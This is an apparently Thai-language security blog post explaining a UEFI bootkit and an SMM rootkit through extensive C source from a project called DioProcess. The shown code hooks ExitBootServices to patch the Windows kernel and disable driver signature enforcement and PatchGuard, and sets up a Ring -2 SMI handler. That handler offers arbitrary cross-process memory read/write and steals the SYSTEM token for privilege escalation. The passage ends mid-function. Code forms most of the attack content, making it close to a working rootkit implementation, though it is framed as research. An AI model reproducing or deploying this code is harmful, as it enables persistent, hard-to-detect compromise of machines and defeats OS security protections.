Published
- 17 min read
UEFI Bootkit & SMM Rootkit
บทนำ
ในบทความที่แล้วเราได้ทำความเข้าใจพื้นฐานของ UEFI ตั้งแต่ SEC → PEI → DXE → BDS → TSL → RT → AL กันไปแล้ว ในบทความนี้เราจะเจาะลึกลงไปในสองหัวข้อที่น่าสนใจสำหรับ security research คือ
- UEFI Bootkit — การ hook
ExitBootServices()เพื่อแทรกแซง kernel ก่อนที่ระบบปฏิบัติการจะเข้าควบคุม - SMM Rootkit — การทำงานใน System Management Mode (Ring -2) ซึ่งอยู่ลึกกว่า kernel และ hypervisor
ทั้งสองหัวข้อนี้จะอ้างอิงจาก implementation จริงใน DioProcess project ซึ่งประกอบด้วยสาม module หลัก ได้แก่ DioProcessEfi (UEFI Application), DioProcessDxe (DXE Runtime Driver) และ DioProcessSmm (SMM Driver)
2.1 ทำไม Firmware-level Attack ถึงสำคัญ
ก่อนที่เราจะเข้าสู่รายละเอียด ควรทำความเข้าใจก่อนว่าทำไม firmware-level attack ถึงเป็นที่สนใจของทั้งฝ่ายโจมตีและฝ่ายป้องกัน ในระบบคอมพิวเตอร์สมัยใหม่ มีหลายระดับของ privilege ที่วางซ้อนกันเป็นชั้น ๆ
┌─────────────────────────────────────────────────┐
│ Ring 3 │ User Applications │
├──────────┼──────────────────────────────────────┤
│ Ring 0 │ Operating System Kernel │
├──────────┼──────────────────────────────────────┤
│ Ring -1 │ Hypervisor (VT-x/AMD-V) │
├──────────┼──────────────────────────────────────┤
│ Ring -2 │ SMM (System Management Mode) │
├──────────┼──────────────────────────────────────┤
│ Ring -3 │ Management Engine (ME/PSP) │
└──────────┴──────────────────────────────────────┘
firmware-level attack มีข้อได้เปรียบเหนือ malware ทั่วไปหลายประการ
- Persistence — code ที่อยู่ใน firmware สามารถอยู่รอดได้แม้จะ format hard drive หรือติดตั้งระบบปฏิบัติการใหม่
- Stealth — ทำงานก่อนที่ระบบปฏิบัติการจะ boot ทำให้ antivirus หรือ EDR ไม่สามารถตรวจจับได้
- Privilege — ควบคุมระบบตั้งแต่ระดับต่ำสุด ก่อนที่ security feature อย่าง Secure Boot, PatchGuard หรือ DSE จะทำงาน
2.2 ExitBootServices และจุดเปลี่ยนผ่าน
2.2.1 ทบทวน ExitBootServices
จากบทความที่แล้ว เราทราบว่า ExitBootServices() คือจุดเปลี่ยนผ่านที่สำคัญที่สุดในกระบวนการ boot ของระบบ UEFI ตามที่ UEFI specification กำหนดไว้ เมื่อ OS Loader เรียก ExitBootServices() จะเกิดเหตุการณ์ดังต่อไปนี้
- UEFI คืน memory ที่ Boot Services ใช้งานอยู่
- Boot Services table ถูก invalidate ไม่สามารถเรียกใช้ได้อีก
- ระบบเข้าสู่ Runtime phase
- ระบบปฏิบัติการเริ่มเข้าควบคุมระบบ
UEFI Boot Services ──────┬──────> OS Runtime
│
ExitBootServices()
│
Boot Services ถูกทำลาย
เหลือเพียง Runtime Services
2.2.2 ทำไมต้อง Hook ตรงนี้
ExitBootServices() คือ จุดสุดท้าย ที่ UEFI code ยังมีการควบคุมอยู่ ก่อนที่ระบบปฏิบัติการจะ take over ที่จุดนี้ winload.efi (Windows loader) ได้โหลด ntoskrnl.exe และ driver ต่าง ๆ เข้าสู่ memory เรียบร้อยแล้ว แต่ยังไม่ได้ execute ซึ่งหมายความว่าเราสามารถ
- Patch kernel ก่อนที่มันจะเริ่มทำงาน
- Disable security features อย่าง DSE (Driver Signature Enforcement) หรือ PatchGuard (KPP)
- Inject code เข้าไปใน OS image โดยตรง
ปัญหาสำคัญอย่างหนึ่งคือ winload.efi โหลด kernel images ผ่าน loader ของตัวเอง (BlImgLoadImage) ไม่ได้ใช้ UEFI’s LoadImage ดังนั้น ntoskrnl.exe จึงไม่ปรากฏใน LoadedImage protocol handles ตามปกติ เราต้องใช้วิธี scan memory map เพื่อค้นหา
2.2.3 สถาปัตยกรรมของ DioProcessEfi
DioProcessEfi เป็น UEFI Application ที่ถูกออกแบบมาให้ทำงานเป็น bootkit โดยมี flow การทำงานดังนี้
┌─────────────────────────────────────────────────────────────┐
│ DioProcessEfi Boot Flow │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. Boot Manager เรียก DioProcessEfi.efi │
│ │ │
│ ▼ │
│ 2. Hook gBS->ExitBootServices │
│ │ │
│ ▼ │
│ 3. Chainload \EFI\Microsoft\Boot\bootmgfw.efi │
│ │ │
│ ▼ │
│ 4. winload.efi โหลด ntoskrnl.exe, CI.dll เข้า memory │
│ │ │
│ ▼ │
│ 5. winload.efi เรียก ExitBootServices — hook ทำงาน │
│ │ │
│ ▼ │
│ 6. Hook scan memory map, หา ntoskrnl, apply DSE/KPP patch │
│ │ │
│ ▼ │
│ 7. Hook เรียก original ExitBootServices │
│ │ │
│ ▼ │
│ 8. Kernel takes control │
│ │
└─────────────────────────────────────────────────────────────┘
2.2.4 การติดตั้ง ExitBootServices Hook
การติดตั้ง hook นั้นตรงไปตรงมา เพียงแค่บันทึก original function pointer แล้วแทนที่ด้วย hooked function
// file: DioProcessEfi/DioProcessEfi.c
STATIC EFI_EXIT_BOOT_SERVICES gOriginalExitBootServices = NULL;
EFI_STATUS
EFIAPI
DioProcessEfiEntry(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
// บันทึก original pointer
gOriginalExitBootServices = gBS->ExitBootServices;
// แทนที่ด้วย hook function
gBS->ExitBootServices = HookedExitBootServices;
// Chainload Windows Boot Manager
Status = ChainloadWindowsBootManager(ImageHandle);
return Status;
}
2.2.5 Hooked ExitBootServices Function
เมื่อ winload.efi เรียก ExitBootServices() hook function ของเราจะทำงานแทน ที่จุดนี้ Boot Services ยังคงใช้งานได้ (เพราะเรายังไม่ได้เรียก original function) และ winload ได้โหลด ntoskrnl.exe กับ CI.dll เข้าสู่ memory แล้ว
// file: DioProcessEfi/DioProcessEfi.c
STATIC
EFI_STATUS
EFIAPI
HookedExitBootServices(
IN EFI_HANDLE ImageHandle,
IN UINTN MapKey
)
{
DIOPROCESS_CONFIG Config;
VOID *NtoskrnlBase = NULL;
UINTN NtoskrnlSize = 0;
DebugAppend(L"Hook fired.");
// อ่าน configuration จาก NVRAM
ReadDioProcessConfig(&Config);
// ค้นหา ntoskrnl.exe (จำเป็นสำหรับทั้ง DSE และ KPP bypass)
if (Config.DseBypass || Config.KppBypass) {
if (!EFI_ERROR(FindNtoskrnl(&NtoskrnlBase, &NtoskrnlSize))) {
DebugAppend(L" NT:");
DebugAppendHex((UINT64)(UINTN)NtoskrnlBase);
}
}
// DSE bypass: patch ntoskrnl's SepInitializeCodeIntegrity
if (Config.DseBypass && NtoskrnlBase != NULL) {
if (PatchDse(NtoskrnlBase, NtoskrnlSize)) {
DebugAppend(L"DSE:OK ");
}
}
// PatchGuard bypass: patch ntoskrnl's KPP init functions
if (Config.KppBypass && NtoskrnlBase != NULL) {
if (PatchKpp(NtoskrnlBase, NtoskrnlSize)) {
DebugAppend(L"KPP:OK ");
}
}
// บันทึก debug log ลง NVRAM (สามารถอ่านได้หลัง boot)
DebugSave();
// คืน original และเรียก
gBS->ExitBootServices = gOriginalExitBootServices;
return gOriginalExitBootServices(ImageHandle, MapKey);
}
2.2.6 การค้นหา ntoskrnl.exe ใน Memory
เนื่องจาก winload ไม่ได้ใช้ UEFI’s LoadImage เราจึงต้อง scan memory map เพื่อหา ntoskrnl.exe โดยใช้ลักษณะเฉพาะของมันในการระบุตัวตน
// file: DioProcessEfi/DioProcessEfi.c
STATIC
EFI_STATUS
FindNtoskrnl(
OUT VOID **ImageBase,
OUT UINTN *ImageSize
)
{
EFI_STATUS Status;
UINTN MapSize = 0;
UINTN MapKey;
UINTN DescriptorSize;
UINT32 DescriptorVersion;
EFI_MEMORY_DESCRIPTOR *MemMap = NULL;
UINTN Offset;
// ขอ memory map จาก UEFI
Status = gBS->GetMemoryMap(&MapSize, NULL, &MapKey, &DescriptorSize, &DescriptorVersion);
MapSize += 4 * DescriptorSize;
MemMap = AllocatePool(MapSize);
Status = gBS->GetMemoryMap(&MapSize, MemMap, &MapKey, &DescriptorSize, &DescriptorVersion);
// วนลูปผ่าน memory descriptors
for (Offset = 0; Offset < MapSize; Offset += DescriptorSize) {
EFI_MEMORY_DESCRIPTOR *Desc = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)MemMap + Offset);
UINT8 *RegionBase;
UINTN RegionSize;
UINTN PageOffset;
// ตรวจสอบเฉพาะ memory types ที่น่าจะมี kernel image
if (Desc->Type != EfiLoaderData &&
Desc->Type != EfiLoaderCode &&
Desc->Type != EfiBootServicesCode &&
Desc->Type != EfiBootServicesData &&
Desc->Type != EfiRuntimeServicesCode &&
Desc->Type != EfiRuntimeServicesData) {
continue;
}
RegionBase = (UINT8 *)(UINTN)Desc->PhysicalStart;
RegionSize = Desc->NumberOfPages * EFI_PAGE_SIZE;
// Scan ทีละ page หา PE header
for (PageOffset = 0; PageOffset + 0x1000 <= RegionSize; PageOffset += EFI_PAGE_SIZE) {
UINT8 *PageBase = RegionBase + PageOffset;
UINTN ImgSize;
// ตรวจสอบ MZ header
if (PageBase[0] != 'M' || PageBase[1] != 'Z') continue;
if (!PeValidateImage(PageBase)) continue;
ImgSize = PeGetImageSize(PageBase);
// ntoskrnl ปกติมีขนาด 4MB-64MB
if (ImgSize < 0x400000 || ImgSize > 0x4000000) continue;
// ยืนยันว่าเป็น ntoskrnl โดยตรวจสอบ export "NtCreateFile"
if (PeFindExport(PageBase, "NtCreateFile") != NULL) {
*ImageBase = PageBase;
*ImageSize = ImgSize;
FreePool(MemMap);
return EFI_SUCCESS;
}
}
}
FreePool(MemMap);
return EFI_NOT_FOUND;
}
การระบุตัวตนของ ntoskrnl.exe ทำได้โดยตรวจสอบลักษณะเฉพาะดังนี้
- ขนาด — ntoskrnl มีขนาดประมาณ 4MB ถึง 64MB
- Export — มี function
NtCreateFileซึ่งเป็นเอกลักษณ์ของ ntoskrnl
2.2.7 Chainloading Windows Boot Manager
หลังจากติดตั้ง hook แล้ว DioProcessEfi ต้อง chainload Windows Boot Manager (bootmgfw.efi) เพื่อให้กระบวนการ boot ดำเนินต่อไปตามปกติ
// file: DioProcessEfi/DioProcessEfi.c
STATIC
EFI_STATUS
ChainloadWindowsBootManager(
IN EFI_HANDLE ImageHandle
)
{
EFI_STATUS Status;
EFI_SIMPLE_FILE_SYSTEM_PROTOCOL *FileSystem;
EFI_FILE_PROTOCOL *Root;
EFI_FILE_PROTOCOL *BootmgrFile;
VOID *FileBuffer;
EFI_HANDLE NewImageHandle;
// ค้นหา ESP filesystem ที่มี bootmgfw.efi
Status = FindEspFileSystem(&FileSystem);
Status = FileSystem->OpenVolume(FileSystem, &Root);
Status = Root->Open(Root, &BootmgrFile,
L"\\EFI\\Microsoft\\Boot\\bootmgfw.efi",
EFI_FILE_MODE_READ, 0);
// อ่าน bootmgfw.efi เข้า memory
// ... (allocate buffer, read file)
// โหลด image ผ่าน UEFI LoadImage
Status = gBS->LoadImage(FALSE, ImageHandle, BootmgrDevicePath,
FileBuffer, FileSize, &NewImageHandle);
// Start image — control transfers to Windows Boot Manager
Status = gBS->StartImage(NewImageHandle, NULL, NULL);
return Status;
}
2.3 System Management Mode (SMM)
2.3.1 SMM คืออะไร
System Management Mode (SMM) คือ special CPU mode ที่ถูกออกแบบมาตั้งแต่ยุค Intel 386SL เพื่อจัดการกับ system-level functions ที่ต้องการ privilege สูงสุด เช่น
- Power management
- Hardware error handling
- System configuration
- OEM-specific features
SMM ทำงานใน isolated memory space เรียกว่า SMRAM (System Management RAM) ซึ่งมีคุณสมบัติพิเศษดังนี้
- แยกจาก OS — ระบบปฏิบัติการไม่สามารถ read หรือ write SMRAM ได้
- Invisible — ไม่ปรากฏใน OS memory map
- Highest privilege — privilege สูงกว่า Ring 0 (kernel) และ Ring -1 (hypervisor)
┌─────────────────────────────────────────────────────┐
│ Memory Layout │
├─────────────────────────────────────────────────────┤
│ │
│ 0xFFFFFFFF ┌──────────────────┐ │
│ │ High Memory │ │
│ ├──────────────────┤ │
│ │ SMRAM (Hidden) │ ← SMM code อยู่ที่นี่
│ │ (TSEG) │ OS มองไม่เห็น │
│ ├──────────────────┤ │
│ │ OS Memory │ │
│ │ │ │
│ 0x00000000 └──────────────────┘ │
│ │
└─────────────────────────────────────────────────────┘
2.3.2 System Management Interrupt (SMI)
SMM ถูกเรียกผ่าน SMI (System Management Interrupt) ซึ่งเป็น non-maskable interrupt พิเศษ เมื่อ SMI ถูก trigger CPU จะทำงานดังนี้
Normal Execution
│
│ SMI Triggered
▼
┌─────────────────┐
│ Save CPU State │ ← Register, flags ทั้งหมด
│ to SMRAM │ ถูก save ใน State Save Area
└────────┬────────┘
│
▼
┌─────────────────┐
│ Switch to SMM │ ← CPU enters SMM mode
│ Execute SMI │ SMRAM accessible
│ Handler │
└────────┬────────┘
│
▼
┌─────────────────┐
│ RSM instruction│ ← Resume from SMM
│ Restore State │
└────────┬────────┘
│
▼
Normal Execution Continues
ข้อสังเกตสำคัญคือ เมื่อ CPU อยู่ใน SMM มันจะ “หายไป” จากมุมมองของ OS เหมือนกับว่าเวลาหยุดนิ่ง นี่คือเหตุผลที่ SMM rootkit ตรวจจับได้ยากมาก
2.3.3 สถาปัตยกรรมของ DioProcess SMM
DioProcess ใช้สถาปัตยกรรมแบบ two-driver model ประกอบด้วย
- DioProcessDxe (DXE Runtime Driver) — ทำหน้าที่เป็นสะพานระหว่าง kernel driver กับ SMM driver
- DioProcessSmm (SMM Driver) — ทำงานใน Ring -2 ให้บริการ memory operations
┌─────────────────────────────────────────────────────────────┐
│ DioProcess SMM Architecture │
├─────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ Windows Kernel Driver │ │
│ │ (requests memory operations via NVRAM variable) │ │
│ └──────────────────────────┬───────────────────────────┘ │
│ │ Read NVRAM Transfer struct │
│ ▼ │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ DioProcessDxe (DXE Runtime Driver) │ │
│ │ - Allocates communication buffer │ │
│ │ - Publishes API via NVRAM variable │ │
│ │ - Converts addresses for virtual mode │ │
│ └──────────────────────────┬───────────────────────────┘ │
│ │ EFI_MM_COMMUNICATION2_PROTOCOL│
│ ▼ │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ DioProcessSmm (SMM Driver - Ring -2) │ │
│ │ - Handles SMI requests │ │
│ │ - Physical/Virtual memory R/W │ │
│ │ - Page table manipulation │ │
│ │ - Token exchange (privilege escalation) │ │
│ └──────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
2.3.4 DioProcessDxe — DXE Runtime Driver
DioProcessDxe มีหน้าที่หลักคือ
- จัดสรร communication buffer สำหรับ SMM communication
- ลงทะเบียน callback สำหรับ ExitBootServices และ Virtual Address Change events
- เผยแพร่ API ผ่าน NVRAM variable ให้ kernel driver เรียกใช้
// file: DioProcessDxe/DxeMain.c
EFI_STATUS
EFIAPI
DioProcessDxeMain(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
SerialPrint("=[ DioProcess DXE ]=\r\n");
// คำนวณขนาด communication buffer
gCommSize = sizeof(DIOPROCESS_COMMUNICATION) + DIOPROCESS_COMMUNICATE_HEADER_SIZE;
// จัดสรร buffer ใน EfiRuntimeServicesData (อยู่รอดหลัง ExitBootServices)
EFI_STATUS Status = gBS->AllocatePool(EfiRuntimeServicesData, gCommSize, &gPhysCommBuf);
gBS->SetMem(gPhysCommBuf, gCommSize, 0);
gCommBuf = gPhysCommBuf;
// ค้นหา MM Communication Protocol สำหรับติดต่อกับ SMM
Status = gBS->LocateProtocol(&gEfiMmCommunication2ProtocolGuid, NULL,
(VOID **)&gMmCommunicate2);
// ลงทะเบียน callback ก่อน ExitBootServices
Status = gBS->CreateEventEx(EVT_NOTIFY_SIGNAL, TPL_CALLBACK,
DioProcessBeforeExitBootServices, NULL,
&gEfiEventBeforeExitBootServicesGuid, &gExitBs);
// ลงทะเบียน callback สำหรับ virtual address change
Status = gBS->CreateEventEx(EVT_NOTIFY_SIGNAL, TPL_CALLBACK,
DioProcessDxeGoneVirtual, NULL,
&gEfiEventVirtualAddressChangeGuid, &gGoneVirtual);
return Status;
}
เมื่อระบบเปลี่ยนจาก physical addressing เป็น virtual addressing (หลังจาก SetVirtualAddressMap() ถูกเรียก) callback DioProcessDxeGoneVirtual จะทำงาน
// file: DioProcessDxe/DxeMain.c
VOID
EFIAPI
DioProcessDxeGoneVirtual(
IN EFI_EVENT Event,
IN VOID *Context
)
{
SerialPrint("[ DXE ] Virtual address change callback\r\n");
// แปลง physical addresses เป็น virtual addresses
VOID *VirtualBuf = gPhysCommBuf;
gRT->ConvertPointer(EFI_OBLIGATORY_PTR, (VOID **)&gMmCommunicate2);
gRT->ConvertPointer(EFI_OBLIGATORY_PTR, (VOID **)&VirtualBuf);
gCommBuf = VirtualBuf;
// สร้าง transfer packet ที่มี API pointers
DIOPROCESS_TRANSFER Transfer = { 0 };
Transfer.Buffer.CommBufPhys = gPhysCommBuf;
Transfer.Buffer.CommBufVirtual = gCommBuf;
Transfer.Buffer.BufSize = gCommSize;
Transfer.API.SetupBufFunction = (VOID *)SetupCommunicationBuffer;
Transfer.API.SmmCommunicateFunction = (VOID *)DioProcessSmmCommunicate;
// เผยแพร่ผ่าน NVRAM variable
EFI_STATUS Status = gRT->SetVariable(
L"DioProcessSmmTransfer",
&gDioProcessTransferVarGuid,
(EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS |
EFI_VARIABLE_RUNTIME_ACCESS),
sizeof(DIOPROCESS_TRANSFER),
&Transfer
);
SerialPrint("[ DXE ] Transfering to RT phase\r\n");
}
2.3.5 DioProcessSmm — SMM Driver
DioProcessSmm คือหัวใจของระบบ ทำงานใน Ring -2 และให้บริการ memory operations ที่ทรงพลัง
// file: DioProcessSmm/SmmMain.c
EFI_STATUS
EFIAPI
DioProcessSmmMain(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
SerialPrint("=[ DioProcess SMM ]=\r\n");
SerialPrint("=[ Ring -2 Memory Operations ]=\r\n");
// ค้นหา SmmBase protocol
EFI_SMM_BASE2_PROTOCOL *Smm2;
EFI_STATUS Status = gBS->LocateProtocol(&gEfiSmmBase2ProtocolGuid, NULL,
(VOID **)&Smm2);
// ตรวจสอบว่าเราอยู่ใน SMM context จริง
BOOLEAN SmmSanityCheck;
Smm2->InSmm(Smm2, &SmmSanityCheck);
if (SmmSanityCheck) {
SerialPrint("[ SMM ] SMM driver invoked by SMM IPL, initializing...\r\n");
// ขอ SMM System Table
Status = Smm2->GetSmstLocation(Smm2, &gSmst2);
// Initialize context และลงทะเบียน SMI handler
Status = InitializeSmmContext();
} else {
SerialPrint("[ SMM ] SMM driver started under DXE environment\r\n");
return EFI_ACCESS_DENIED;
}
return Status;
}
EFI_STATUS
EFIAPI
InitializeSmmContext(
VOID
)
{
EFI_STATUS Status;
// ลงทะเบียน SMI handler
Status = SmiRegisterHandler();
if (!EFI_ERROR(Status)) {
// จัดสรร page สำหรับ memory remapping
Status = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData,
1, &gRemapPage);
gBS->SetMem((VOID *)gRemapPage, EFI_PAGE_SIZE, 0);
}
return Status;
}
2.3.6 SMI Handler
SMI Handler คือ function ที่ถูกเรียกเมื่อ SMI ถูก trigger มันรับ command จาก communication buffer และ dispatch ไปยัง handler function ที่เหมาะสม
// file: DioProcessSmm/Smi.c
EFI_STATUS
EFIAPI
DioProcessSmiHandler(
IN EFI_HANDLE DispatchHandle,
IN CONST VOID *Context OPTIONAL,
IN OUT VOID *CommBuffer OPTIONAL,
IN OUT UINTN *CommBufferSize OPTIONAL
)
{
PDIOPROCESS_COMMUNICATION SmiCommCtx;
SerialPrint("[ SMM ] Hit DioProcess SMI handler\r\n");
// ตรวจสอบ buffer validity
if (CommBuffer == NULL || CommBufferSize == 0) {
return EFI_SUCCESS;
}
// Security check: ตรวจสอบว่า buffer ไม่ overlap กับ SMRAM
if (!SmmIsBufferOutsideSmmValid((UINTN)CommBuffer, PayloadSize)) {
SerialPrint("[ SMM ] Communication buffer overlaps SMRAM!\r\n");
return EFI_SUCCESS;
}
SmiCommCtx = (PDIOPROCESS_COMMUNICATION)CommBuffer;
// Speculation barrier เพื่อป้องกัน Spectre-style attacks
SpeculationBarrier();
// Dispatch command
SmiCommCtx->SmiRetStatus = CmdMainHandler(SmiCommCtx);
return EFI_SUCCESS;
}
EFI_STATUS
EFIAPI
SmiRegisterHandler(
VOID
)
{
EFI_HANDLE Handle;
EFI_STATUS Status = gSmst2->SmiHandlerRegister(DioProcessSmiHandler,
&gDioProcessSmiHandlerGuid,
&Handle);
return Status;
}
2.3.7 Command Handler
Command handler รับ command code และ dispatch ไปยัง function ที่เหมาะสม
// file: DioProcessSmm/Commands.c
EFI_STATUS
EFIAPI
CmdMainHandler(
IN PDIOPROCESS_COMMUNICATION SmiCommCtx
)
{
EFI_STATUS Status;
switch (SmiCommCtx->Command) {
case CMD_DIOPROCESS_PING_SMI:
SerialPrint("[ SMM ] SMI handler is alive\r\n");
Status = EFI_SUCCESS;
break;
case CMD_DIOPROCESS_READ_PHYS:
Status = CmdPhysRead(SmiCommCtx->Read.PhysReadAddress,
SmiCommCtx->Read.ReadResult,
SmiCommCtx->Read.ReadLength);
break;
case CMD_DIOPROCESS_WRITE_PHYS:
Status = CmdPhysWrite(SmiCommCtx->Write.PhysWriteAddress,
SmiCommCtx->Write.DataToWrite,
SmiCommCtx->Write.WriteLength);
break;
case CMD_DIOPROCESS_READ_VIRTUAL:
Status = CmdVirtualRead(SmiCommCtx->Read.TargetProcessId,
SmiCommCtx->Read.VaReadAddress,
SmiCommCtx->Read.ReadResult,
SmiCommCtx->Read.ReadLength);
break;
case CMD_DIOPROCESS_WRITE_VIRTUAL:
Status = CmdVirtualWrite(SmiCommCtx->Write.TargetProcessId,
SmiCommCtx->Write.VaWriteAddress,
SmiCommCtx->Write.DataToWrite,
SmiCommCtx->Write.WriteLength);
break;
case CMD_DIOPROCESS_CACHE_SESSION_INFO:
Status = CmdCacheSessionInfo(SmiCommCtx->Cache.ControllerProcessId,
SmiCommCtx->Cache.VaPsInitialSysProcess,
SmiCommCtx->Cache.DirBase);
break;
case CMD_DIOPROCESS_VIRT_TO_PHYS:
Status = CmdVirtToPhys(SmiCommCtx->Vtop.TargetPid,
SmiCommCtx->Vtop.AddressToTranslate,
&SmiCommCtx->Vtop.Translated);
break;
case CMD_DIOPROCESS_PRIV_ESC:
Status = CmdEscalatePrivileges();
break;
default:
SerialPrint("[ SMM ] Unknown command\r\n");
Status = EFI_INVALID_PARAMETER;
break;
}
return Status;
}
2.3.8 Virtual-to-Physical Address Translation
หนึ่งในความสามารถที่สำคัญที่สุดของ SMM driver คือการ translate virtual address ของ process ใด ๆ ไปเป็น physical address ซึ่งต้องใช้การ walk page table structures (PML4 → PDPE → PDE → PTE)
// file: DioProcessSmm/Memory.c
UINT64
EFIAPI
MemTranslateVirtualToPhys(
IN VOID *Address,
IN UINT64 Dir
)
{
UINT64 TargetAddress;
UINT64 ReadAddress;
Dir &= 0xFFFFFFFFFFFFF000ULL;
UINT64 SmmDir = AsmReadCr3() & 0xFFFFFFFFFFFFF000ULL;
// Level 4: PML4
PML4E Pml4;
UINT8 PageSize = EDioprocessPage4Kb;
if (MemRemapAddress(gRemapPage, Dir, SmmDir, &PageSize)) {
TargetAddress = gRemapPage;
// Adjust for page size
if (PageSize == EDioprocessPage1Gb) {
TargetAddress += Dir & 0x3FFFFFF;
} else if (PageSize == EDioprocessPage2Mb) {
TargetAddress += Dir & 0x1FFFFF;
} else {
TargetAddress += Dir & 0xFFF;
}
// อ่าน PML4 entry
Pml4.Value = *(UINT64 *)(TargetAddress +
(((UINT64)Address >> 39) & 0x1FF) * sizeof(UINT64));
MemRestoreSmramMappings();
}
// Level 3: PDPE
PDPE Pdpe;
if (Pml4.Bits.Present) {
ReadAddress = Pml4.Bits.Pfn << EFI_PAGE_SHIFT;
if (MemRemapAddress(gRemapPage, ReadAddress, SmmDir, &PageSize)) {
// ... adjust target address
Pdpe.Value = *(UINT64 *)(TargetAddress +
(((UINT64)Address >> 30) & 0x1FF) * sizeof(UINT64));
MemRestoreSmramMappings();
}
}
// Level 2: PDE
PDE Pde;
if (Pdpe.Bits.Present) {
// Check for 1GB page
if (Pdpe.Bits.Size)
return ((Pdpe.Bits.Pfn << EFI_PAGE_SHIFT) + ((UINT64)Address & 0x3FFFFFF));
ReadAddress = Pdpe.Bits.Pfn << EFI_PAGE_SHIFT;
// ... similar logic
}
// Level 1: PTE
PTE Pte;
if (Pde.Bits.Present) {
// Check for 2MB page
if (Pde.Bits.Size)
return ((Pde.Bits.Pfn << EFI_PAGE_SHIFT) + ((UINT64)Address & 0x1FFFFF));
// ... read PTE
}
// Final translation
if (Pte.Bits.Present)
return ((Pte.Bits.Pfn << EFI_PAGE_SHIFT) + ((UINT64)Address & 0xFFF));
return 0;
}
2.3.9 Virtual Memory Read/Write
เมื่อเรา translate virtual address ได้แล้ว เราสามารถอ่าน/เขียน memory ของ process ใด ๆ ได้
// file: DioProcessSmm/Commands.c
EFI_STATUS
EFIAPI
CmdVirtualRead(
IN UINT64 TargetPid,
IN VOID *AddressToRead,
IN VOID *ReceivedInfo,
IN UINT64 LengthToRead
)
{
SerialPrint("[ SMM ] Reading from virtual memory\r\n");
// Validate parameters
if ((!AddressToRead || !LengthToRead || !ReceivedInfo) ||
LengthToRead > BASE_4KB || !TargetPid) {
return EFI_INVALID_PARAMETER;
}
// จัดสรร intermediate buffer
EFI_PHYSICAL_ADDRESS InterimPage;
EFI_STATUS Status = gSmst2->SmmAllocatePages(AllocateAnyPages,
EfiRuntimeServicesData,
1, &InterimPage);
// หา DirectoryBase (CR3) ของ target process โดย walk EPROCESS list
UINT64 TargetDirBase = NtGetDirBaseByPid(TargetPid,
gLiveSession.SysProcess.VaPsInitialSysProcess,
gLiveSession.SysProcess.DirBase, NULL);
// Translate และ map address ที่จะอ่าน
UINT64 TranslatedReadTarget = MemMapVirtualAddress(AddressToRead, TargetDirBase, NULL);
// Copy ไปยัง intermediate buffer
PhysMemCpy((VOID *)InterimPage, (VOID *)TranslatedReadTarget, (UINT32)LengthToRead);
MemRestoreSmramMappings();
// Map consumer buffer และ copy ผลลัพธ์
UINT64 TranslatedConsumer = MemMapVirtualAddress(ReceivedInfo,
gLiveSession.UmController.UmControllerDirBase,
NULL);
PhysMemCpy((VOID *)TranslatedConsumer, (VOID *)InterimPage, (UINT32)LengthToRead);
MemRestoreSmramMappings();
gSmst2->SmmFreePages(InterimPage, 1);
return EFI_SUCCESS;
}
2.3.10 Process Token Exchange (Privilege Escalation)
หนึ่งในความสามารถที่อันตรายที่สุดคือการ exchange process token ซึ่งทำให้สามารถ escalate privilege ได้
// file: DioProcessSmm/Nt.c
// EPROCESS structure offsets (Windows 10/11)
#define EPROCESS_DIR_BASE_OFFSET 0x28
#define EPROCESS_PID_OFFSET 0x440
#define EPROCESS_FLINK_OFFSET 0x448
#define EPROCESS_TOKEN_OFFSET 0x4B8
EFI_STATUS
EFIAPI
NtExchangeProcessToken(
IN VOID *SourceEprocess, // System process
IN VOID *TargetEprocess // Our controller process
)
{
if (!SourceEprocess || !TargetEprocess)
return EFI_INVALID_PARAMETER;
SerialPrint("[ SMM ] Exchanging process tokens\r\n");
// Map source EPROCESS และอ่าน token
UINT64 MappedSource = MemProcessOutsideSmramPhysMemory((UINT64)SourceEprocess);
UINT64 SourceToken = *(UINT64 *)(MappedSource + EPROCESS_TOKEN_OFFSET);
MemRestoreSmramMappings();
// Map target EPROCESS และเขียน token
UINT64 MappedTarget = MemProcessOutsideSmramPhysMemory((UINT64)TargetEprocess);
*(UINT64 *)(MappedTarget + EPROCESS_TOKEN_OFFSET) = SourceToken;
MemRestoreSmramMappings();
SerialPrint("[ SMM ] Token exchanged successfully\r\n");
return EFI_SUCCESS;
}
การทำงานนี้คือการ copy Token pointer จาก System process (PID 4) ไปยัง controller process ทำให้ controller process มีสิทธิ์เท่ากับ SYSTEM
2.3.11 การหา Process DirectoryBase ผ่าน EPROCESS List
เพื่อที่จะ translate virtual address ของ process ใด ๆ เราต้องรู้ DirectoryBase (CR3) ของ process นั้น ซึ่งทำได้โดยการ walk EPROCESS linked list
// file: DioProcessSmm/Nt.c
UINT64
EFIAPI
NtGetDirBaseByPid(
IN UINT64 Pid,
IN VOID *SysEprocess, // PsInitialSystemProcess
IN UINT64 SysDirBase, // System's CR3
OUT VOID **TargetEprocess
)
{
if (!SysEprocess || !SysDirBase || !Pid)
return 0;
VOID *CurrentEntry = SysEprocess;
VOID *UnmappedEprocess = NULL;
// Walk linked list
do {
// Map current EPROCESS
UINT64 MappedEprocess = MemMapVirtualAddress(CurrentEntry, SysDirBase,
&UnmappedEprocess);
// อ่าน PID
UINT64 CurrentPid = *(UINT64 *)(MappedEprocess + EPROCESS_PID_OFFSET);
if (CurrentPid == Pid) {
// Found! อ่าน DirectoryBase
UINT64 DirBase = *(UINT64 *)(MappedEprocess + EPROCESS_DIR_BASE_OFFSET);
if (TargetEprocess)
*TargetEprocess = UnmappedEprocess;
MemRestoreSmramMappings();
return DirBase;
}
// ไปยัง entry ถัดไป (ActiveProcessLinks.Flink)
UINT64 Flink = *(UINT64 *)(MappedEprocess + EPROCESS_FLINK_OFFSET);
CurrentEntry = (VOID *)(Flink - EPROCESS_FLINK_OFFSET);
MemRestoreSmramMappings();
